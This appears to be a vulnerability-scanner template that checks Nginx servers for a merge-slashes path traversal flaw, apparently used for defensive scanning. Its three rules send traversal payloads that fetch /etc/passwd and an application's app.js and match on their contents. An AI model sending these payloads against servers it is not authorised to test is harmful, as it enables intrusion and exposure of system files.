漏洞描述
A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
id: nginx-merge-slashes-path-traversal
info:
name: Nginx Merge Slashes Path Traversal
author: dhiyaneshDk
severity: medium
description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
reference:
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
rules:
r0:
request:
method: GET
path: ///////../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r1:
request:
method: GET
path: /static///////../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r2:
request:
method: GET
path: ///../app.js
expression: response.status == 200 && response.body.bcontains(b'app.listen')
expression: r0() || r1() || r2()